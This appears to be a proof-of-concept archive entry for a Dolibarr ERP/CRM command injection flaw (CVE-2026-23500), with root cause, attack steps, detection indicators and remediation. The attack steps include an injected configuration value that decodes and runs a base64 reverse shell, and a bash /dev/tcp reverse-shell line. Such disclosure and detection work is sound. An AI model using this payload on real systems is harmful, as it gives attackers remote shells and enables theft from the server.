Dolibarr ERP/CRM OS Command Injection via MAIN_ODT_AS_PDF (CVE-2026-23500)
by Łukasz Rybak (lukasz-rybak) · 2026-07-05
- Severity
- Critical
- CVE
- CVE-2026-23500 / GHSA-w5j3-8fcr-h87w
- Category
- web
- Affected product
- Dolibarr ERP/CRM
- Affected versions
- <= 22.0.4 (patched in 23.0)
- Disclosed
- 2026-07-05
- Patch status
- patched
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-05 |
| Last Updated | 2026-04 |
| Author / Researcher | Łukasz Rybak (lukasz-rybak) |
| CVE / Advisory | CVE-2026-23500 / GHSA-w5j3-8fcr-h87w |
| Category | web |
| Severity | Critical |
| CVSS Score | Not specified in source |
| Status | PoC |
| Tags | dolibarr, os-command-injection, rce, authenticated, php, odt-to-pdf, reverse-shell, erp |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Dolibarr ERP/CRM |
| Versions Affected | <= 22.0.4 (patched in 23.0) |
| Language / Platform | PHP web application |
| Authentication Required | Yes (Administrator) |
| Network Access Required | Yes |
Summary
Dolibarr’s ODT-to-PDF document conversion feature builds a shell command by concatenating the admin-configurable MAIN_ODT_AS_PDF global setting with a sanitized filename before passing it to PHP’s exec(). While the filename argument is escaped with escapeshellcmd(), the MAIN_ODT_AS_PDF value itself is pulled straight from the database and prepended to the command unescaped. An administrator (or attacker who has obtained admin access) can set this constant to a value containing a ; command separator followed by arbitrary shell commands, which then execute whenever a proposal/invoice is generated from an ODT template. The PoC demonstrates full remote code execution by injecting a base64-encoded reverse shell that is triggered on PDF generation.
Vulnerability Details
Root Cause
htdocs/includes/odtphp/odf.php (~line 930) concatenates the unsanitized MAIN_ODT_AS_PDF configuration constant directly into a shell command string passed to exec(), allowing command injection via a trailing ; separator.
Attack Vector
- Authenticate to Dolibarr as an Administrator.
- Enable the “Commercial Proposals” module and activate ODT templates in its setup.
- Navigate to Home -> Setup -> Other Setup and set
MAIN_ODT_AS_PDFtojodconverter; echo <base64-reverse-shell> | base64 -d | bash. - Start a netcat listener on the attacker host.
- Navigate to Commerce -> New proposal, pick an ODT template, and click Generate to trigger the conversion routine and the injected command.
- Receive a shell on the netcat listener with the privileges of the web server user.
Impact
Full remote code execution as the web server user (typically www-data), enabling credential theft, code modification, and potential full host/container compromise.
Environment / Lab Setup
Target: Dolibarr <= 22.0.4 with Commercial Proposals + ODT templates enabled
Attacker: netcat listener, base64, admin-level Dolibarr session
Proof of Concept
PoC Script
See
poc.shin this folder. No standalone script was included in the source repository (it was a manual, UI-driven walkthrough);poc.shreproduces the exact documented payload/steps as a runnable reference.
| |
The script prints the base64-encoded reverse-shell payload to set as the MAIN_ODT_AS_PDF constant value and the manual UI steps (login as Administrator, enable ODT templates, set the constant, generate a proposal PDF) needed to trigger it. Generating a proposal PDF causes Dolibarr to execute the decoded bash -i >& /dev/tcp/<attacker>/<port> 0>&1 command, opening a reverse shell to the attacker’s netcat listener.
Detection & Indicators of Compromise
www-data ... /bin/sh -c jodconverter; echo ... | base64 -d | bash
Signs of compromise:
MAIN_ODT_AS_PDFconfiguration constant containing shell metacharacters (;,|,&&) or base64-encoded blobs.- Outbound TCP connections from the web server process shortly after a proposal/invoice ODT-to-PDF generation request.
- Unexpected
bash/shchild processes under the PHP-FPM or Apache worker for Dolibarr.
Remediation
| Action | Detail |
|---|---|
| Primary fix | Upgrade to Dolibarr 23.0 or later |
| Interim mitigation | Restrict MAIN_ODT_AS_PDF modification to trusted super-admins only, validate/allow-list the configured converter path, and avoid exposing admin panels to untrusted users |
References
Notes
Mirrored from https://github.com/lukasz-rybak/CVE-2026-23500 on 2026-07-05.
| |